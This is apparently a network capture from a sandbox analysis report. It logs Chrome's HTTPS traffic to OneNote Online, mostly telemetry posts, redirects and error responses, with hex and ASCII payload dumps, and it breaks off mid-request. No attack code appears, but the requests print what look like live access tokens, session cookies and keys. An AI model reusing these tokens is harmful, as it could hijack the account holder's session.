Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49820	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:58 UTC	2093	OUT	GET /o/null&DataUrlEnabled=true HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF00017C99 X-OfficeVersion: 16.0.18214.41004 X-Key: JET8TXCUqtsIdxzH7JR+8AxZAV8tHKhwZjWok0HNi3U=;WP9oBPW/wQjBzAXFqEEnFB3ZDLJg8dixW8eGJaFRJyU=,638654411289687050 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: 4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCw X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 X-AccessTokenTtl: 1730017122364 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS11 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-10-25 08:18:58 UTC	587	IN	HTTP/1.1 302 Found Content-Length: 182 Content-Type: text/html; charset=utf-8 Location: /o/error/error.html?aspxerrorpath=/o/null&DataUrlEnabled=true Set-Cookie: X-OFFICEFD: SN3PEPF00017C88 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: DB61B77C7AED4C3E971391DC8DDDE122 Ref B: DFW311000107047 Ref C: 2024-10-25T08:18:58Z Date: Fri, 25 Oct 2024 08:18:57 GMT Connection: close
2024-10-25 08:18:58 UTC	182	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 6f 2f 65 72 72 6f 72 2f 65 72 72 6f 72 2e 68 74 6d 6c 3f 61 73 70 78 65 72 72 6f 72 70 61 74 68 3d 2f 6f 2f 6e 75 6c 6c 26 61 6d 70 3b 44 61 74 61 55 72 6c 45 6e 61 62 6c 65 64 3d 74 72 75 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/o/error/error.html?aspxerrorpath=/o/null&DataUrlEnabled=true">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49816	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:58 UTC	975	OUT	POST /o/RemoteTelemetry.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive Content-Length: 122 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-10-25 08:18:58 UTC	122	OUT	Data Raw: 7b 22 74 79 70 65 22 3a 22 4a 53 41 50 49 5f 53 54 41 54 45 22 2c 22 70 61 79 6c 6f 61 64 4a 73 6f 6e 22 3a 22 7b 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 5c 22 3a 5c 22 4f 6e 65 4e 6f 74 65 5c 22 2c 5c 22 62 75 69 6c 64 5c 22 3a 5c 22 23 23 23 56 45 52 53 49 4f 4e 23 23 23 5c 22 2c 5c 22 73 74 61 74 65 5c 22 3a 5c 22 62 6f 6f 74 53 75 63 63 65 73 73 5c 22 7d 22 7d Data Ascii: {"type":"JSAPI_STATE","payloadJson":"{\"application\":\"OneNote\",\"build\":\"###VERSION###\",\"state\":\"bootSuccess\"}"}
2024-10-25 08:18:58 UTC	1074	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: a170cf58-e1dc-453f-8326-f9a35df55c02 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DM3PEPF00014BE8 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS10 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DM3PEPF00014BE8 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_pptcapacity_2,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 8C32B7E8552B457AAEDF08D7F9DE6212 Ref B: DFW311000105051 Ref C: 2024-10-25T08:18:58Z Date: Fri, 25 Oct 2024 08:18:58 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49818	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:58 UTC	991	OUT	POST /o/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive Content-Length: 6438 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-10-25 08:18:58 UTC	6438	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 32 37 36 31 35 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 37 31 34 37 31 35 2c 22 54 22 3a 31 30 34 30 2c 22 4d 22 3a 22 52 65 63 65 69 76 65 64 20 6d 65 73 73 61 67 65 49 64 3a 20 57 61 63 5f 41 70 70 42 6f 6f 74 53 74 61 74 65 2c 20 63 6f 72 72 65 6c 61 74 69 6f 6e 3a 20 75 6e 64 65 66 69 6e 65 64 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 36 34 36 34 32 38 38 2c 22 54 22 3a 31 30 34 30 2c 22 4d 22 3a 22 50 72 6f 63 65 73 73 69 6e 67 20 6d 65 73 73 61 67 65 3a 20 57 61 63 5f 41 70 70 42 6f 6f 74 53 74 61 74 65 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 35 37 31 34 32 37 31 2c 22 54 22 3a 31 30 34 30 2c 22 4d 22 3a 22 57 41 43 20 42 6f 6f 74 20 41 70 70 Data Ascii: {"T":1729844327615,"L":[{"G":595714715,"T":1040,"M":"Received messageId: Wac_AppBootState, correlation: undefined","C":379,"D":50},{"G":596464288,"T":1040,"M":"Processing message: Wac_AppBootState","C":379,"D":50},{"G":595714271,"T":1040,"M":"WAC Boot App
2024-10-25 08:18:59 UTC	4661	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: c5639109-707b-4ca7-a61c-a298ea6b1692 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C80 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5b&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C80 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: A5AB502E2122489797AD2B278189A0A2 Ref B: DFW311000103035 Ref C: 2024-10-25T08:18:58Z Date: Fri, 25 Oct 2024 08:18:58 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49821	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:58 UTC	990	OUT	POST /o/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive Content-Length: 564 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-10-25 08:18:58 UTC	564	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 33 37 34 34 35 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 34 38 34 38 34 2c 22 54 22 3a 2d 32 36 2c 22 4d 22 3a 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 4a 53 41 50 49 20 72 65 73 6f 75 72 63 65 20 74 69 6d 69 6e 67 20 65 6e 74 72 79 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 30 39 31 34 36 35 35 2c 22 54 22 3a 2d 32 36 2c 22 4d 22 3a 22 54 69 6d 65 20 73 70 65 6e 74 20 6c 6f 67 67 69 6e 67 3a 20 32 2e 37 30 30 30 30 30 30 30 30 31 32 38 30 35 37 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 36 34 36 34 33 33 34 2c 22 54 22 3a 2d 32 35 2c 22 4d 22 3a 22 53 65 6e 64 69 6e 67 20 6d 65 73 73 61 67 65 3a 20 4a 73 41 70 69 44 69 61 67 6e 6f 73 74 69 63 Data Ascii: {"T":1729844337445,"L":[{"G":595948484,"T":-26,"M":"Could not find JSAPI resource timing entry","C":379,"D":50},{"G":590914655,"T":-26,"M":"Time spent logging: 2.700000000128057","C":379,"D":50},{"G":596464334,"T":-25,"M":"Sending message: JsApiDiagnostic
2024-10-25 08:18:59 UTC	4660	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: f5605e83-6574-4a7c-9da0-f032b0f6e31e X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD5B X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5d&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD5B X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: BD130B1EA0724BACA36EFDC6321CE6B7 Ref B: DFW311000107053 Ref C: 2024-10-25T08:18:58Z Date: Fri, 25 Oct 2024 08:18:58 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49822	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:59 UTC	1623	OUT	POST /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":6,"MsSinceStart":8747,"Value":"RecordAppInteractive","Type":"BootPhaseCompleted"},{"Index":7,"MsSinceStart":9190,"Value":"https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://onenote.officeapps.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:18:59 UTC	1564	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: ca5eae1a-cac8-4cdf-9de3-12af55ee9443 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C8F X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5b&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C8F X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: A420E2225C4E4A1C87D47E663D9A5D5B Ref B: DFW311000103035 Ref C: 2024-10-25T08:18:59Z Date: Fri, 25 Oct 2024 08:18:58 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49824	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:59 UTC	834	OUT	GET /o/OneNoteS2SHandler.ashx?action=educationuser&WOPIsrc=https%3A%2F%2Fwopi%2Eonedrive%2Ecom%2Fwopi%2Ffolders%2FA2C259BD24DEB977%211517&access_token=4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCw&access_token_ttl=1730017122364 HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:00 UTC	1248	IN	HTTP/1.1 412 Precondition Failed Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 580f860e-a17e-41b5-93b5-752b003c1f91 X-UserSessionId: 580f860e-a17e-41b5-93b5-752b003c1f91 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DM3PEPF00014BFC X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS10 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-NewKey: /dvoHOsa4JuT9C/A8e5UgzWbiEwf73QOHSCwfaUpswc=;910/1w5rsPNOTwHrfv5vBM4bW/zXnrzUBRMalIiglfI=,638654411399995127 X-OFFICEFD: DM3PEPF00014BFC X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 9F16158E929B4DDFA19F57F6B84F5F95 Ref B: DFW311000106031 Ref C: 2024-10-25T08:18:59Z Date: Fri, 25 Oct 2024 08:18:59 GMT Connection: close
2024-10-25 08:19:00 UTC	1512	IN	Data Raw: 35 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 31 32 20 Data Ascii: 5e1<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>412
2024-10-25 08:19:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49826	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:59 UTC	2127	OUT	GET /o/error/error.html?aspxerrorpath=/o/null&DataUrlEnabled=true HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF00017C99 X-OfficeVersion: 16.0.18214.41004 X-Key: JET8TXCUqtsIdxzH7JR+8AxZAV8tHKhwZjWok0HNi3U=;WP9oBPW/wQjBzAXFqEEnFB3ZDLJg8dixW8eGJaFRJyU=,638654411289687050 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: 4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCw X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 X-AccessTokenTtl: 1730017122364 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 